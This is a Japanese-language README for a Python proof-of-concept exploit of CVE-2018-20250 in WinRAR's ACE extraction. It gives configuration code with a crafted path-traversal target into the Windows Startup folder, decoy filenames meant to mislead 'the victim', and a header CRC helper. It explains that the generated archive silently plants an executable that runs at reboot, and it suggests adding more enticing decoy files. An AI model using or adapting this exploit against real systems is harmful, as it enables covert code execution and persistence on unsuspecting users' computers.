
CVE-2018-20250用のPythonエクスプロイトスクリプト。悪意のあるRARアーカイブを生成し、WinRARのACEファイル抽出の脆弱性を介してコード実行を達成し、スタートアップフォルダへの永続化を標的とします。
exp for Winrarからのコード実行抽出
Ridter作のpoc
使い方?
python 3.7をインストールし、実行したい悪意のあるファイルを用意し、必要な値を設定するだけです。このexpスクリプトが自動的に悪意のあるアーカイブファイルを生成します!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rarを生成しますtest.rarを開くと、hello.txtとworld.txtというファイルが見えます。さらに多くの魅力的なファイルを追加することもできます。![]()
hi.exeというファイルが追加されます。実際にはcalc.exeです。コンピュータを再起動すると、hi.exeが実行されます。![]()
楽しんでください! :)